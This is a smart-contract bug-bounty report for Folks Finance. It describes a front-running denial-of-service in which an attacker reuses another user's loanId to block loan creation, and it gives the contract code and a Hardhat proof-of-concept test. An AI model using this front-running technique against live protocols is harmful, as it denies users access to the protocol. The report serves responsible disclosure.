# Boost \_ Folks Finance 34028 - \[Smart Contract - Medium] Denial of Service DoS vulnerability in UserL

Submitted on Sun Aug 04 2024 09:38:21 GMT-0400 (Atlantic Standard Time) by @zarkk for [Boost | Folks Finance](https://immunefi.com/bounty/folksfinance-boost/)

Report ID: #34028

Report type: Smart Contract

Report severity: Medium

Target: <https://testnet.snowtrace.io/address/0x2cAa1315bd676FbecABFC3195000c642f503f1C9>

Impacts:

* Griefing (e.g. no profit motive for an attacker, but damage to the users or the protocol)

## Description

## Brief/Intro

The current design of the `createUserLoan` function in the `LoanManager` contract allows attackers to exploit it, enabling a Denial of Service (DoS) attack that blocks legitimate `UserLoan` creations by front-running them creating a loan with the same `loanId`.

## Vulnerability Details

To use Folks Finance and, actually, borrow money, users must create an `UserLoan` by triggering the `createUserLoan` function in the `LoanManager` contract, providing a unique `loanId`. The function checks whether the `loanId` has already been used for the creation of another `UserLoan` and that `UserLoan` is active. If it is active, the creation process is halted, and the transaction is reverted. This allows an attacker to front-run legitimate account creation requests by submitting their own transaction with the same `loanId`, effectively blocking others from creating `UserLoan` and accessing the platform. We can the implementation of `createUserLoan` here :

```solidity
function createUserLoan(
        bytes32 loanId,
        bytes32 accountId,
        uint16 loanTypeId,
        bytes32 loanName
    ) external override onlyRole(HUB_ROLE) nonReentrant {
        // check loan types exists, is not deprecated and no existing user loan for same loan id
        if (!isLoanTypeCreated(loanTypeId)) revert LoanTypeUnknown(loanTypeId);
        if (isLoanTypeDeprecated(loanTypeId)) revert LoanTypeDeprecated(loanTypeId);
@>        if (isUserLoanActive(loanId)) revert UserLoanAlreadyCreated(loanId);

        // create loan
        UserLoan storage userLoan = _userLoans[loanId];
        userLoan.isActive = true;
        userLoan.accountId = accountId;
        userLoan.loanTypeId = loanTypeId;

        emit CreateUserLoan(loanId, accountId, loanTypeId, loanName);
    }
```

Furthermore, as it can be easily understood, all calls on `createUserLoanAndDeposit` will also revert.

## Impact Details

This vulnerability allows an attacker to prevent any new user loans from being created by front-running legitimate requests. The attack breaks the main functionality of Folks Finance and can be exploited from the very start of the protocol for ever, making the protocol unusable. The ease with which this attack can be executed, combined with its potential to fully block loan creation, makes this a critical issue.

## References

<https://github.com/Folks-Finance/folks-finance-xchain-contracts/blob/fb92deccd27359ea4f0cf0bc41394c86448c7abb/contracts/hub/LoanManager.sol#L40-L58>

## Proof of concept

## Proof of Concept

To understand better this vulnerability, add the following test under the `"Create User Loan"` section in `LoanManager.test.ts`:

```javascript
it.only("Should fail to create user loan when malicious has front runned the creation with same loanId", async () => {
      const { hub, loanManager, loanTypeId } = await loadFixture(addPoolToLoanTypeFixture);
      
      const loanId = getRandomBytes(BYTES32_LENGTH);
      const loanName = getRandomBytes(BYTES32_LENGTH);
      // Malicious attacker front running the creation of the creation of the loan, creating a loan with the same loanId.
      const createUserLoanFrontrun = await loanManager.connect(hub).createUserLoan(loanId, getAccountIdBytes("ACCOUNT_ID_MALICIOUS"), loanTypeId, loanName);

      expect(await loanManager.isUserLoanActive(loanId)).to.be.true;

      // The legit transaction will revert, and this can happen for EVERY creation of UserLoan of EVERY user.
      const createUserLoanLegit = loanManager.connect(hub).createUserLoan(loanId, getAccountIdBytes("ACCOUNT_ID_LEGIT"), loanTypeId, loanName);
      await expect(createUserLoanLegit).to.be.revertedWithCustomError(loanManager, "UserLoanAlreadyCreated").withArgs(loanId);
    });
```
